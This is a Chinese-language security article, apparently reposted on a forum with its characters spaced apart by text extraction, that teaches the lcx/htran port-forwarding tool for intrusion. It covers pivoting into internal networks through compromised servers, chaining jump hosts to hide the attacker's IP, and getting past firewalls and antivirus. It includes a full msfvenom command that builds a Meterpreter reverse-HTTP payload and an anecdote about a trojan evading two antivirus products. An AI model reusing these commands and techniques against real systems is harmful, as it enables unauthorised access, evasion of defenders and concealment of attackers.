搜索

[11045] 2017-02-20_Lcx的多种用法：3个功能+9个参数，你会怎么玩？

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-02-20_Lcx的多种用法：3个功能+9个参数，你会怎么玩？ L c x 的 多 种 用 法 ： 3 个 功 能 + 9 个 参 数 ， 你 会 怎 么 玩 ？ F o r W h a t   F r e e B u f   2 0 1 7 - 0 2 - 2 0 * 原 创 作 者 ： F o r W h a t ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 前 言 前 言 记 得 刚 开 始 接 触 黑 客 技 术 的 时 候 是 记 得 刚 开 始 接 触 黑 客 技 术 的 时 候 是 2 0 1 4 年 ， 那 时 候 年 ， 那 时 候 s t r u t s 2 漏 洞 利 用 工 具 正 流 行 ， 当 时 也 下 载 了 一 个 玩 玩 ， 上 传 了 很 多 的 菜 漏 洞 利 用 工 具 正 流 行 ， 当 时 也 下 载 了 一 个 玩 玩 ， 上 传 了 很 多 的 菜 刀 木 马 ， 不 过 这 时 候 就 有 个 问 题 ： 无 法 连 接 到 被 控 制 计 算 机 的 刀 木 马 ， 不 过 这 时 候 就 有 个 问 题 ： 无 法 连 接 到 被 控 制 计 算 机 的 3 3 8 9 。 。 百 度 一 下 ， 原 来 对 面 的 服 务 器 是 在 内 网 中 ， 没 有 做 映 射 是 连 接 不 到 的 ， 但 是 可 以 借 助 一 个 工 具 进 行 端 口 转 发 来 实 现 连 接 处 于 内 网 的 3 3 8 9 服 务 器 ， 原 文 链 接 ( 百 度 搜 索 l c x 第 一 条 出 现 的 ) ： h t t p : / / s e c . c h i n a b y t e . c o m / 2 2 5 / 8 8 4 8 7 2 5 . s h t m l 随 着 时 间 的 推 移 ， 对 于 这 个 工 具 的 认 识 也 在 不 断 加 深 中 ， 现 在 我 来 分 享 一 下 。 第 一 次 写 文 章 ， 有 些 错 误 欢 迎 大 牛 指 正 ， 中 间 会 有 些 感 ( f e i ) 悟 ( h u a ) 不 想 看 的 可 以 直 接 看 进 阶 篇 ， 高 级 篇 或 者 总 结 。 关 于 关 于 那 篇 文 章 大 概 意 思 是 说 连 接 内 网 的 3 3 8 9 需 要 4 步 ： 1 ： 确 定 被 控 制 计 算 机 的 内 网 i p 2 ： 被 控 制 的 计 算 机 执 行 ” l c x   - s l a v e   你 的 计 算 机 i p   5 1   被 控 制 计 算 机 的 i p   3 3 8 9 ” 3 ： 本 机 执 行 ” l c x   - l i s t e n   5 1   1 0 0 0 0 ” 4 ： 用 m s t s c   连 接   “ 1 2 7 . 0 . 0 . 1 : 1 0 0 0 0 ” 看 完 这 篇 文 章 l c x 给 我 的 第 一 印 象 就 是 用 来 连 接 内 网 服 务 器 的 3 3 8 9 ， 不 过 其 实 这 只 是 冰 山 一 角 。 正 文 正 文 基 础 篇 基 础 篇   连 接 连 接 随 着 对 网 络 的 认 识 不 断 深 入 我 发 现 上 面 那 篇 文 章 其 实 有 些 地 方 可 以 改 进 ， 原 文 的 意 思 就 是 如 何 连 接 处 于 内 网 中 被 控 制 的 计 算 机 ， 所 以 可 以 用 以 下 步 骤 实 现 : 前 提 : 你 的 计 算 机 处 于 公 网 , 被 控 制 的 计 算 机 能 访 问 外 网 1 ： 本 机 执 行 ” l c x   – l i s t e n   4 0 0 5 0   1 0 0 0 0 ” 2 ： 被 控 制 的 计 算 机 执 行 ” l c x   - s l a v e   你 的 i p   端 口   1 2 7 . 0 . 0 . 1   3 3 8 9 ”
3 ： 用 m s t s c   连 接   “ 1 2 7 . 0 . 0 . 1 : 1 0 0 0 0 ” 有 些 新 手 可 能 会 好 奇 为 啥 s l a v e   的 第 三 个 参 数 是 1 2 7 . 0 . 0 . 1   这 里 先 看 下 l c x 的 使 用 帮 助 ： L c x 有 两 大 功 能 ， 一 个 是 端 口 转 发 ( l i s t e n 和 s l a v e 成 对 使 用 ) ， 另 一 个 是 端 口 映 射 ( t r a n ) 。 端 口 转 发 ： 端 口 转 发 ： L c x   - L i s t e n   < 监 听 s l a v e 请 求 的 端 口 ( 对 应 s l a v e   的 第 二 个 参 数 ) >   < 等 待 连 接 的 端 口 > L c x   - s l a v e   < 你 的 i p >   < 监 听 端 口 ( 对 应 l i s t e n 的 第 一 个 参 数 ) >   < 目 标 i p >   < 目 标 端 口 > 所 以 既 然 我 们 只 需 要 连 接 那 台 服 务 器 ， 我 们 只 需 要 设 置 目 标 i p 参 数 为 1 2 7 . 0 . 0 . 1 就 好 了 ( 1 2 7 . 0 . 0 . 1   L o c a l h o s t   即 本 机 ) 因 为 别 忘 了 s l a v e 是 在 对 面 服 务 器 执 行 的 。 当 然 了 这 里 补 充 一 点 目 标 端 口 号 是 可 以 换 的 比 如 3 3 0 6 这 样 你 就 可 以 连 接 对 面 的 M y S Q L 数 据 库 了 。 有 些 人 肯 定 要 问 了 如 果 把 这 个 1 2 7 . 0 . 0 . 1 换 成 其 他 的 i p 会 怎 么 样 ， 如 果 你 尝 试 过 了 那 么 恭 喜 你 发 现 了 新 功 能 ， 你 可 以 访 问 更 多 的 3 3 8 9 。 1 、 本 机 执 行 l c x   - l i s t e n   4 0 0 5 0   1 0 0 0 0 2 、 被 控 制 服 务 器 执 行   l c x   - s l a v e   1 . 1 . 1 . 1   4 0 0 5 0   1 0 . 1 0 . 0 . 3   3 3 8 9 = = = = = = = = = = = = = = = = = = = = = = = =   H U C   P a c k e t   T r a n s m i t T o o l   V 1 . 0 0   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =   C o d e   b y   l i o n   &   b k b l l ,   W e l c o m e t o   [ u r l ]
3 、 连 接 成 功 之 后 中 间 就 出 现 了 一 条 通 道 ， 可 以 互 相 传 输 数 据 4 、 我 们 打 开 m s t s c   输 入 1 2 7 . 0 . 0 . 1 : 1 0 0 0 0
O k ， 这 样 我 们 就 能 访 问 内 网 的 其 他 机 子 了 ， 理 论 上 来 说 被 控 制 的 服 务 器 能 访 问 到 的 我 们 都 能 访 问 ， 其 实 就 是 以 被 攻 击 的 服 务 器 做 跳 板 。 扩 展 一 点 讲 ， 还 记 得 l i s t e n 的 参 数 么 ？   第 一 个 是 监 听 s l a v e 请 求 的 端 口 ， 另 一 个 监 听 端 口 ， 这 个 监 听 端 口 我 们 可 以 访 问 ， 当 然 别 人 也 可 以 访 问 ( 一 般 用 来 共 享 ) 。 在 1 . 1 . 1 . 1 做 好 监 听 并 且 对 面 执 行 s l a v e 且 成 功 的 话 1 . 1 . 1 . 2 和 1 . 1 . 1 . 3 就 可 以 用 m s t s c 连 接 1 . 1 . 1 . 1 : 1 0 0 0 0 来 访 问 到 对 面 1 0 . 1 0 . 0 . 3 的 3 3 8 9 了 端 口 映 射 ： 端 口 映 射 ： L c x   - t r a n   < 等 待 连 接 的 端 口 >   < 目 标 i p >   < 目 标 端 口 > 上 面 的 端 口 转 发 中 我 们 的 前 提 是 在 公 网 中 ， 但 是 大 部 分 情 况 下 我 们 的 电 脑 都 是 接 着 路 由 器 的 所 以 我 们 需 要 设 置 映 射 ， 当 然 了 是 在 路 由 器 上 设 置 ， 我 拿 我 的 路 由 器 做 下 演 示 ：
不 同 人 的 路 由 器 上 的 显 示 可 能 不 一 样 ， 也 可 能 是 端 口 映 射 或 者 N A T 。 总 之 看 到 类 似 的 就 差 不 多 了 ， 不 过 有 些 路 由 器 可 能 没 有 外 部 端 口 和 内 部 端 口 之 分 ， 这 样 的 都 是 等 端 口 映 射 ， 类 似 于 L c x   - t r a n 中   < 等 待 连 接 的 端 口 > 和 < 目 标 端 口 一 样 > ， 上 面 的 是 我 的 路 由 器 。 关 于 路 由 器 映 射 的 就 画 一 张 图 就 能 解 决 : 1 、 1 9 2 . 1 6 8 . 0 . 1 0 监 听 4 0 0 0 0 端 口 2 、 对 面 的 服 务 器 执 行 s l a v e 穿 过 防 火 墙 经 过 i n t e r n e t 访 问 到 路 由 器 的 4 0 0 5 0 端 口 ， 然 后 路 由 器 根 据 规 则 将 4 0 0 5 0 的 数 据 映 射 到 内 网 1 9 2 . 1 6 8 . 0 . 1 0 的 4 0 0 0 0 上 ， 这 样 连 接 就 建 立 成 功 了 3 、 连 接 1 9 2 . 1 6 8 . 0 . 1 0 : 5 0 0 0 0 这 样 就 能 访 问 到 对 面 1 0 . 1 0 . 0 . 3 的 3 3 8 9     不 太 理 解 的 朋 友 可 以 参 照 图 1   2   3   4 L c x   - t r a n   1 9 2 0   1 2 7 . 0 . 0 . 1   2 1
这 样 我 访 问 本 机 的 1 9 2 0 端 口 就 能 访 问 到 本 机 的 f t p 了 ， 当 然 把 1 2 7 . 0 . 0 . 1 换 成 其 他 的 i p 都 可 以 。 进 阶 篇 进 阶 篇   隐 藏 隐 藏 有 些 朋 友 可 能 会 说 基 础 篇 中 t r a n 就 出 现 了 一 次 ， 不 过 在 这 里 会 出 现 四 次       o k ， 进 入 正 题 ， 一 般 来 说 我 们 进 行 渗 透 的 时 候 都 需 要 注 意 自 身 的 安 全 ， 最 基 础 的 保 护 就 是 隐 藏 自 己 的 i p 。 说 到 隐 藏 i p 许 多 朋 友 会 想 到 用 代 理 或 者 v p n ， 这 里 呢 我 们 就 说 用 l c x ， 当 然 会 涉 及 到 代 理 服 务 器 ， 看 过 基 础 篇 的 朋 友 的 应 该 可 以 直 接 看 懂 下 面 的 图 。 前 提 ： 你 拥 有 一 台 公 网 的 服 务 器 ， 或 者 有 网 关 权 限 的 内 网 机 器 ( 不 知 道 说 的 对 不 对 总 之 就 是 可 以 设 置 端 口 映 射 ， 让 外 网 可 以 直 接 访 问 到 内 网 的 机 器 ) ， 你 需 要 连 接 的 是 一 台 公 网 机 器 一 般 来 说 用 T r a n 来 隐 藏 访 问 公 网 机 器 或 者 有 网 关 权 限 的 内 网 机 器 1 、 如 果 你 拥 有 公 网 机 器 1 、 被 控 制 的 服 务 器 运 行 t r a n   5 0 0 0 0   3 . 3 . 3 . 3   3 3 8 9 2 、 我 们 连 接 2 . 2 . 2 . 2 : 5 0 0 0 0 这 样 我 们 就 能 连 接 到 3 . 3 . 3 . 3 的 3 3 8 9 了 ， 此 时 我 们 打 开 c m d 窗 口 运 行 n e t s t a t   – a n   |   f i n d   “ 3 3 8 9 ” 会 惊 奇 的 发 现 T C P     3 . 3 . 3 . 3 : 3 3 8 9     2 . 2 . 2 . 2 : x x x x x   E S T A B L I S H E D
连 接 本 机 3 3 8 9 端 口 的 是 2 . 2 . 2 . 2 这 样 对 面 记 录 到 的 连 接 信 息 都 是 2 . 2 . 2 . 2 的 ， 除 非 对 面 拿 下 2 . 2 . 2 . 2 才 能 看 到 是 谁 连 接 了 3 . 3 . 3 . 3 2 、 如 果 你 拥 有 取 得 网 关 权 限 的 内 网 机 器 比 刚 刚 多 的 就 是 一 个 内 网 出 口 需 要 做 个 映 射 ， 就 像 前 面 给 自 己 的 路 由 器 上 面 做 映 射 一 样 ， 这 里 要 注 意 了 一 般 来 说 内 网 的 环 境 都 是 挺 复 杂 的 所 以 一 般 来 说 想 实 现 上 面 的 话 比 较 困 难 ， 推 荐 用 公 网 机 器 做 跳 板 ， 当 然 了 大 牛 自 然 有 方 法 拿 到 网 关 权 限 。 通 常 情 况 下 我 们 需 要 连 接 内 网 中 的 机 器 ， 也 就 是 需 要 在 被 控 制 的 机 器 上 运 行 s l a v e ， 那 怎 么 隐 藏 呢 ， 可 能 有 些 小 伙 伴 已 经 想 到 了 ， 参 照 前 面 的 图 5 可 以 看 出 我 们 只 需 在 跳 板 上 执 行 l i s t e n 之 后 连 接 就 好 了 。 当 然 了 如 果 跳 板 在 内 网 同 上 设 置 映 射 。 还 有 内 网 机 器 能 访 问 外 网 。 这 样 对 面 看 到 的 连 接 请 求 都 是 来 自 2 . 2 . 2 . 2 的 。 然 后 展 示 一 张 比 较 完 整 的 图 。 我 们 拿 到 了 对 面 一 台 内 网 的 机 子 ， 这 里 我 是 在 对 面 的 服 务 器 上 开 了 s o c k s 代 理 或 者 v p n 然 后 我 们 拥 有 两 台 有 网 关 权 限 的 跳 板 。 最 终 结 果 是 对 面 你 的 记 录 都 来 自 3 . 3 . 3 . 3 ， 可 事 实 上 飞 的 老 远 了 … …
先 做 好 几 个 映 射 ， 一 个 是 3 . 3 . 3 . 3 上 面 的   5 0 0 0 0 端 口   映 射 到 1 7 2 . 2 5 . 0 . 2 的 3 0 0 0 0 端 口 还 有 个 是 2 . 2 . 2 . 2 上 面 做 两 个 映 射   4 0 0 0 0 端 口 映 射 到   1 7 2 . 2 4 . 0 . 2   的 4 0 0 5 0 端 口   ， 6 5 5 3 2 端 口 映 射 到   1 7 2 . 2 4 . 0 . 2 的 5 0 0 0 0 端 口 1 、   在 1 7 2 . 2 5 . 0 . 2 上 执 行 l c x   – t r a n   3 0 0 0 0   2 . 2 . 2 . 2   4 0 0 0 0 2 、   在 1 7 2 . 2 4 . 0 . 2 上 执 行 l c x   – l i s t e n   4 0 0 5 0   5 0 0 0 0 3 、   在 1 0 . 1 0 . 0 . 2 上 执 行   l c x   – s l a v e   3 . 3 . 3 . 3   5 0 0 0 0   1 2 7 . 0 . 0 . 1   1 0 8 0 4 、   最 后 我 们 连 接 2 . 2 . 2 . 2 : 6 5 5 3 2 看 起 来 似 乎 有 点 复 杂 ， 讲 下 流 程 : 在 执 行 第 三 步 的 时 候 1 0 . 1 0 . 0 . 2 发 起 了 s l a v e 请 求 先 穿 过 自 己 的 防 火 墙 访 问 到 3 . 3 . 3 . 3 的 5 0 0 0 0 端 口 ， 接 着 3 . 3 . 3 . 3 把 数 据 映 射 到 内 网 1 7 2 . 2 5 . 0 . 2 的 3 0 0 0 0 端 口 上 。 因 为 1 7 2 . 2 5 . 0 . 2 运 行 了 t r a n   3 0 0 0 0   2 . 2 . 2 . 2   4 0 0 0 0   所 以 1 7 2 . 2 5 . 0 . 2 会 把 数 据 映 射 到 2 . 2 . 2 . 2 的 4 0 0 0 0 端 口 上 ， 先 穿 过 自 己 的 防 火 墙 到 达 2 . 2 . 2 . 2 的 4 0 0 0 0 端 口 ， 最 后 2 . 2 . 2 . 2 把 4 0 0 0 0 端 口 的 数 据 映 射 到 1 7 2 . 2 4 . 0 . 2 的 4 0 0 5 0 端 口 ， 至 此 连 接 成 功 。 然 后 我 们 的 1 9 2 . 1 6 8 . 0 . 1 0 经 过 各 种 p r o x y 、 v p n 、 t o r 什 么 的 连 接 2 . 2 . 2 . 2 的 6 5 5 3 2 端 口 就 可 以 连 接 到 1 7 2 . 2 4 . 0 . 2 的 5 0 0 0 0 端 口 ， 最 后 到 达 1 0 . 1 0 . 0 . 2 的 1 0 8 0 端 口 。 我 已 经 放 弃 追 查 了 。 能 看 完 这 么 绕 的 话 先 感 谢 下 ， 然 后 你 认 为 这 就 完 了 ？ 高 级 篇 高 级 篇   突 破 突 破 在 内 网 渗 透 的 过 程 中 会 遇 到 各 种 环 境 ， 那 l c x 又 会 怎 样 发 挥 呢 ？ 这 里 先 讲 一 下 我 对 正 向 连 接 和 反 向 连 接 的 理 解 ： 其 实 没 有 所 谓 的 正 向 和 反 向 ， 只 有 谁 连 接 谁 罢 了 。 A → B   对 于 我 们 来 说 我 们 正 向 连 接 了 B ， 但 是 在 B 看 来 我 们 是 反 向 连 接 了 它 同 理 B → A 在 对 面 看 来 就 是 B 正 向 连 接 了 A 。 理 解 了 这 一 点 看 下 面 的 内 容 可 能 会 比 较 方 便 。 假 设 假 设 1 ： ： 1 、   你 获 得 了 一 台 D M Z 区 域 的 服 务 器 ( 外 网 i p   2 . 2 . 2 . 2   内 网 i p   1 0 . 1 0 . 0 . 2 ) ， 可 以 这 么 理 解 ： 那 台 服 务 器 所 有 开 放 的 端 口 我 们 都 能 直 接 连 接 ， 当 然 了 我 们 可 以 直 接 连 接 3 3 8 9 上 去 2 、   这 台 服 务 器 不 能 直 接 访 问 外 网 ， 你 也 没 有 拿 下 出 口 点 。 3 、   对 面 的 内 网 没 有 一 台 服 务 器 能 直 接 访 问 外 网 在 上 面 的 情 况 中 我 们 怎 样 才 能 让 1 0 . 1 0 . 0 . 2 上 网 呢 ， 当 然 了 如 果 这 台 服 务 器 能 连 接 外 网 的 话 ， 你 就 可 以 让 对 面 所 有 的 内 网 机 器 都 能 上 网 。 联 系 前 面 讲 的 ， 可 能 有 些 朋 友 已 经 想 到 了 。 先 补 充 下 1 9 2 . 1 6 8 . 0 . 1 0 开 了 代 理 服 务 器 ， 然 后 有 些 朋 友 注 意 到 了 这 个 s l a v e 是 在 本 机 上 执 行 的 ， 为 什 么 要 这 么 执 行 ， 前 面 的 假 设 中 讲 到 了 这 个 1 0 . 1 0 . 0 . 2 是 不 能 直 接 访 问 外 网 的 ， 不 过 可 以 开 端 口 而 且 别 人 都 可 以 连 接 ， 可 能 受 到 以 前 的 影 响 ， 认 为 s l a v e 都 是 在 对 面 执 行 的 。
其 实 不 然 ， 有 些 特 殊 情 况 是 可 以 反 过 来 用 的 ： 对 面 开 监 听 我 们 执 行 s l a v e ， 在 对 面 我 们 看 来 是 反 向 连 接 了 ， 但 是 在 我 们 看 来 我 们 是 去 正 向 连 接 的 ( 就 像 你 直 接 访 问 对 面 的 3 3 8 9 ) ， 防 火 墙 也 不 会 拦 截 ， 这 样 这 可 以 连 接 成 功 ， 然 后 对 面 使 用 代 理 工 具 连 接 1 0 . 1 0 . 0 . 2 的 1 0 8 0 端 口 就 可 以 访 问 外 网 了 。 当 然 了 也 可 以 在 1 0 . 1 0 . 0 . 2 上 开 个 代 理 服 务 器 然 后 使 用 二 级 代 理 功 能 。 不 过 用 不 用 都 无 所 谓 反 正 对 面 只 需 要 访 问 1 0 . 1 0 . 0 . 2 : 1 0 8 0 就 可 以 访 问 到 外 面 的 世 界 了 。 假 设 假 设 2 ： ： 1 、   你 拿 下 了 两 台 内 网 服 务 器 A 和 B 2 、   服 务 器 B 不 能 访 问 任 何 机 器 ( 自 己 的 话 当 然 可 以 了 ) ， 只 能 让 别 人 访 问 遇 到 这 种 情 况 比 较 好 处 理 ， 只 需 参 考 上 面 一 个 假 设 就 能 上 网 了 ， B 开 l i s t e n   ， A 执 行 s l a v e 这 样 一 来 所 有 的 请 求 i p 都 是 1 2 7 . 0 . 0 . 1 。 再 说 一 个 实 例 ： 有 一 次 渗 透 中 遇 到 了 一 个 比 较 蛋 疼 的 情 况 ， 有 一 台 服 务 器 我 3 3 8 9 上 去 了 但 是 上 面 有 一 个 防 火 墙 软 件 ， 有 个 特 性 ： 允 许 连 接 内 网 的 请 求 ， 不 能 直 接 访 问 外 网 。 我 的 目 的 是 抓 密 码 。 然 后 我 上 传 了 / b i n d _ t c p 和 _ b i n d _ t c p ， / r e v e r s e _ t c p 和 _ r e v e r s e _ t c p 都 被 杀 了 ， 然 后 上 传 m i m i k a t z 2 . 1 也 被 杀 了 ( w c e   g e t p a s s … ) ， 然 后 无 奈 试 了 下 h t t p 居 然 没 有 被 杀 ， 但 是 h t t p 和 h t t p s 只 有 r e v e r s e 没 有 b i n d 。 所 以 这 种 情 况 就 可 以 使 用 一 个 映 射 来 实 现 ， 拿 一 台 能 访 问 外 网 的 内 网 服 务 器 ( 1 0 . 1 0 . 0 . 2 ) 做 个 映 射 ( l c x   – t r a n   5 0 0 0 0   2 . 2 . 2 . 2   4 0 0 0 0 ) ， 然 后 用 m s f v e n o m 生 成 一 个 攻 击 荷 载 注 意 m e t e r p r e t e r 后 面 是 ” _   “ 这 样 可 以 少 传 输 很 多 数 据 避 免 b u g ， 具 体 的 “ / ” 和 “ _ ” 的 区 别 参 照 书 籍 。 这 样 就 可 以 绕 过 对 面 的 防 火 墙 了 ( 偷 懒 不 画 图 了 ) 。 有 些 杀 软 有 个 特 性 会 根 据 网 络 连 接 来 拦 截 ， 只 要 是 连 接 内 网 的 就 不 会 拦 截 ， 我 之 前 种 过 一 个 木 马 ， 只 不 过 远 控 是 放 在 对 面 内 网 的 一 台 服 务 器 上 面 的 ， 所 以 木 马 的 连 接 i p 是 一 个 内 网 i p 然 后 就 能 直 接 打 开 了 木 马 没 有 做 任 何 免 杀 就 绕 过 了 两 个 杀 软 。 当 然 了 如 果 你 想 让 木 马 连 接 到 你 的 电 脑 只 需 要 把 那 个 远 控 关 了 执 行 个 映 射 就 好 了 。 这 样 就 能 上 线 到 你 的 电 脑 上 了 。 联 想 一 下 用 这 样 的 方 法 也 可 以 让 被 控 制 的 人 查 不 到 控 制 者 的 真 实 i p 。 把 连 接 i p 改 为 某 个 公 网 i p 然 后 做 个 映 射 就 好 了 。 这 样 被 控 制 的 计 算 机 上 的 i p 显 示 的 都 是 公 网 的 ( 偷 懒 还 是 不 画 图 了 ) 。 总 结 总 结 L c x 可 以 用 来 渗 透 内 网 ， 也 可 以 用 来 隐 藏 自 己 ， 还 可 以 让 不 能 访 问 外 网 的 服 务 器 访 问 外 网 ， 甚 至 可 以 用 来 绕 过 某 些 防 火 墙 ( 杀 软 ) 。 后 记 后 记 1 、   感 谢 能 坚 持 从 头 看 到 尾 的 读 者 。 2 、   希 望 刚 入 门 的 朋 友 可 以 多 参 照 这 篇 文 章 使 用 l c x 来 进 行 内 网 渗 透 。 3 、   在 这 要 为 这 个 东 西 正 名 ， 其 全 名 是 S o c k e t   d a t a   t r a n s p o r t t o o l ， 而 根 据 代 码 注 释 中 [ b k b l l @ m o b i l e   s o c k e t ] $   g c c   - o   t r t o o l   t r t o o l . c 这 一 句 ， 可 以 看 到 其 原 来 的 名 字 应 该 是 t r t o o l ， 而 且 是 红 盟 的 前 辈 b k b l l 所 写 。 所 谓 的 l c x . e x e 其 实 是 l c x 根 据 l i o n 的 代 码 所 修 改 编 译 过 的 h t r a n ， 所 以 这 个 工 具 其 实 不 应 该 叫 l c x ， 不 过 为 了 配 合 大 家 的 习 惯 这 么 叫 而 已 ， 可 以 看 作 是 简 化 版 本 吧 。 4 、   后 记 第 三 条 最 后 一 个 逗 号 之 前 的 所 有 内 容 来 自 互 联 网 。 5 、   关 于 l c x 的 映 射 功 能 ， w i n d o w s 自 带 的 n e t s h 也 可 以 做 到 ， 但 是 需 要 管 理 员 权 限 ， 有 个 优 点 重 启 之 后 还 存 在 。 相 关 命 令 ( 管 理 员 权 限 ) ： m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r _ r e v e r s e _ h t t p   L H O S T = 1 0 . 1 0 . 0 . 2   L P O R T = 5 0 0 0 0   - f   e x e   >   t e m p . e x e
        1 ：   查 看 端 口 映 射 情 况 n e t s h   i n t e r f a c e   p o r t p r o x y   s h o w   v 4 t o v 4         2 ： 添 加 一 个 端 口 映 射 n e t s h   i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4 l i s t e n p o r t = 4 0 0 5 0   c o n n e c t a d d r e s s = 1 9 2 . 1 6 8 . 1 . 1 0   c o n n e c t p o r t = 5 0 0 0 0         3 ： 删 除 一 个 端 口 映 射 n e t s h i n t e r f a c e   p o r t p r o x y   d e l e t e   v 4 t o v 4   4 0 0 5 0 ( 监 听 端 口 号 ) 6 、   高 级 篇 讲 的 似 乎 不 高 级 但 是 希 望 读 者 可 以 多 思 考 。 7 、 关 于 图 片 中 的 英 文 ， 由 于 软 件 的 问 题 ， 用 中 文 有 些 问 题 所 以 用 1 级 英 语 表 达 了 一 下 … … 8 、 写 在 最 后 可 以 让 直 奔 评 论 区 的 人 可 以 看 到 ， 很 多 人 肯 定 会 说 在 内 网 开 个 代 理 或 者 V P N ， 然 后 转 发 出 来 不 就 好 了 ， 对 于 这 样 的 人 我 不 想 多 说 。 9 、 再 次 感 谢 能 坚 持 从 头 看 到 尾 的 读 者 。 有 兴 趣 的 同 学 可 以 联 系 作 者 深 入 交 流 ， Q Q 号 : 3 5 1 3 9 0 7 5 4 * 原 创 作 者 ： F o r W h a t ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理